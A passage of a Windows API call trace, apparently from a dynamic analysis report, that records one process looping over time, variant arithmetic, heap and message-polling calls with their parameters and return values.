wSecond=0x2, wMilliseconds=0x9b)) [0180.299] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.299] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.299] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.299] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.300] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.300] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.300] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.300] GetTickCount () returned 0x115dbcf [0180.300] GetTickCount () returned 0x115dbcf [0180.300] CoFreeUnusedLibraries () [0180.300] GetTickCount () returned 0x115dbcf [0180.300] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.300] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.300] GetTickCount () returned 0x115dbcf [0180.301] IsWindowVisible (hWnd=0x30268) returned 0 [0180.301] IsWindowVisible (hWnd=0x40298) returned 0 [0180.301] Sleep (dwMilliseconds=0x0) [0180.301] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x9b)) [0180.301] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.301] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.301] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.301] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.301] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.301] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.301] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.301] GetTickCount () returned 0x115dbcf [0180.301] GetTickCount () returned 0x115dbcf [0180.302] CoFreeUnusedLibraries () [0180.302] GetTickCount () returned 0x115dbcf [0180.302] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.302] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.302] GetTickCount () returned 0x115dbcf [0180.302] IsWindowVisible (hWnd=0x30268) returned 0 [0180.302] IsWindowVisible (hWnd=0x40298) returned 0 [0180.302] Sleep (dwMilliseconds=0x0) [0180.303] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x9b)) [0180.303] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.303] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.303] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.303] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.303] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.303] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.303] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.303] GetTickCount () returned 0x115dbcf [0180.303] GetTickCount () returned 0x115dbcf [0180.303] CoFreeUnusedLibraries () [0180.303] GetTickCount () returned 0x115dbcf [0180.303] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.303] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.303] GetTickCount () returned 0x115dbcf [0180.304] IsWindowVisible (hWnd=0x30268) returned 0 [0180.304] IsWindowVisible (hWnd=0x40298) returned 0 [0180.304] Sleep (dwMilliseconds=0x0) [0180.313] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0xab)) [0180.313] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.314] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.314] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.314] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.314] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.314] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.314] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.314] GetTickCount () returned 0x115dbde [0180.314] GetTickCount () returned 0x115dbde [0180.314] CoFreeUnusedLibraries () [0180.314] GetTickCount () returned 0x115dbde [0180.314] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.314] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.314] GetTickCount () returned 0x115dbde [0180.315] IsWindowVisible (hWnd=0x30268) returned 0 [0180.315] IsWindowVisible (hWnd=0x40298) returned 0 [0180.315] Sleep (dwMilliseconds=0x0) [0180.315] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0xab)) [0180.316] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.316] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.316] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.316] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.316] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.316] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.316] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.316] GetTickCount () returned 0x115dbde [0180.316] GetTickCount () returned 0x115dbde [0180.316] CoFreeUnusedLibraries () [0180.316] GetTickCount () returned 0x115dbde [0180.316] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.316] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.316] GetTickCount () returned 0x115dbde [0180.317] IsWindowVisible (hWnd=0x30268) returned 0 [0180.317] IsWindowVisible (hWnd=0x40298) returned 0 [0180.317] Sleep (dwMilliseconds=0x0) [0180.330] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0xbb)) [0180.330] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.330] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.330] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.330] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.330] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.330] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.330] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.330] GetTickCount () returned 0x115dbee [0180.330] GetTickCount () returned 0x115dbee [0180.331] CoFreeUnusedLibraries () [0180.331] GetTickCount () returned 0x115dbee [0180.331] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.331] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.331] GetTickCount () returned 0x115dbee [0180.331] IsWindowVisible (hWnd=0x30268) returned 0 [0180.331] IsWindowVisible (hWnd=0x40298) returned 0 [0180.331] Sleep (dwMilliseconds=0x0) [0180.361] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0xda)) [0180.361] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.361] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.361] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.361] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.361] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.361] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.361] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.361] GetTickCount () returned 0x115dc0d [0180.361] GetTickCount () returned 0x115dc0d [0180.362] CoFreeUnusedLibraries () [0180.362] GetTickCount () returned 0x115dc0d [0180.362] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.362] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.362] GetTickCount () returned 0x115dc0d [0180.362] IsWindowVisible (hWnd=0x30268) returned 0 [0180.362] IsWindowVisible (hWnd=0x40298) returned 0 [0180.362] Sleep (dwMilliseconds=0x0) [0180.392] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0xf9)) [0180.392] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.392] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.392] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.392] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.392] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.392] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.393] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.393] GetTickCount () returned 0x115dc2c [0180.393] GetTickCount () returned 0x115dc2c [0180.393] CoFreeUnusedLibraries () [0180.393] GetTickCount () returned 0x115dc2c [0180.393] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.393] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.393] GetTickCount () returned 0x115dc2c [0180.393] IsWindowVisible (hWnd=0x30268) returned 0 [0180.393] IsWindowVisible (hWnd=0x40298) returned 0 [0180.393] Sleep (dwMilliseconds=0x0) [0180.407] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x109)) [0180.407] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.407] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.407] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.407] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.408] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.408] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.408] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.408] GetTickCount () returned 0x115dc3c [0180.408] GetTickCount () returned 0x115dc3c [0180.409] CoFreeUnusedLibraries () [0180.409] GetTickCount () returned 0x115dc3c [0180.409] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.409] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.409] GetTickCount () returned 0x115dc3c [0180.409] IsWindowVisible (hWnd=0x30268) returned 0 [0180.409] IsWindowVisible (hWnd=0x40298) returned 0 [0180.409] Sleep (dwMilliseconds=0x0) [0180.423] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x118)) [0180.423] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.423] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.423] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.423] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.424] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.424] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.424] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.424] GetTickCount () returned 0x115dc4c [0180.424] GetTickCount () returned 0x115dc4c [0180.424] CoFreeUnusedLibraries () [0180.424] GetTickCount () returned 0x115dc4c [0180.424] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.424] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.424] GetTickCount () returned 0x115dc4c [0180.424] IsWindowVisible (hWnd=0x30268) returned 0 [0180.424] IsWindowVisible (hWnd=0x40298) returned 0 [0180.425] Sleep (dwMilliseconds=0x0) [0180.455] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x137)) [0180.455] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.455] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.455] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.455] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.455] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.455] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.455] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.455] GetTickCount () returned 0x115dc6b [0180.455] GetTickCount () returned 0x115dc6b [0180.456] CoFreeUnusedLibraries () [0180.456] GetTickCount () returned 0x115dc6b [0180.456] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.456] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.456] GetTickCount () returned 0x115dc6b [0180.456] IsWindowVisible (hWnd=0x30268) returned 0 [0180.456] IsWindowVisible (hWnd=0x40298) returned 0 [0180.456] Sleep (dwMilliseconds=0x0) [0180.469] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x147)) [0180.470] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.470] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.470] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.470] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.470] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.470] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.470] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.470] GetTickCount () returned 0x115dc7a [0180.470] GetTickCount () returned 0x115dc7a [0180.471] CoFreeUnusedLibraries () [0180.471] GetTickCount () returned 0x115dc7a [0180.471] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.471] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.471] GetTickCount () returned 0x115dc7a [0180.471] IsWindowVisible (hWnd=0x30268) returned 0 [0180.471] IsWindowVisible (hWnd=0x40298) returned 0 [0180.471] Sleep (dwMilliseconds=0x0) [0180.486] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x157)) [0180.486] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.486] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.486] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.486] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.486] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.486] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.486] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.486] GetTickCount () returned 0x115dc8a [0180.486] GetTickCount () returned 0x115dc8a [0180.487] CoFreeUnusedLibraries () [0180.487] GetTickCount () returned 0x115dc8a [0180.487] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.487] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.487] GetTickCount () returned 0x115dc8a [0180.487] IsWindowVisible (hWnd=0x30268) returned 0 [0180.487] IsWindowVisible (hWnd=0x40298) returned 0 [0180.487] Sleep (dwMilliseconds=0x0) [0180.501] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x166)) [0180.501] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.501] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.501] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.501] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.501] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.501] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.501] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.501] GetTickCount () returned 0x115dc9a [0180.501] GetTickCount () returned 0x115dc9a [0180.501] CoFreeUnusedLibraries () [0180.501] GetTickCount () returned 0x115dc9a [0180.501] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.501] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.501] GetTickCount () returned 0x115dc9a [0180.502] IsWindowVisible (hWnd=0x30268) returned 0 [0180.502] IsWindowVisible (hWnd=0x40298) returned 0 [0180.502] Sleep (dwMilliseconds=0x0) [0180.516] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x176)) [0180.517] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.517] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.517] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.517] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.517] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.517] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.517] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.517] GetTickCount () returned 0x115dca9 [0180.517] GetTickCount () returned 0x115dca9 [0180.517] CoFreeUnusedLibraries () [0180.517] GetTickCount () returned 0x115dca9 [0180.517] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.517] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.517] GetTickCount () returned 0x115dca9 [0180.517] IsWindowVisible (hWnd=0x30268) returned 0 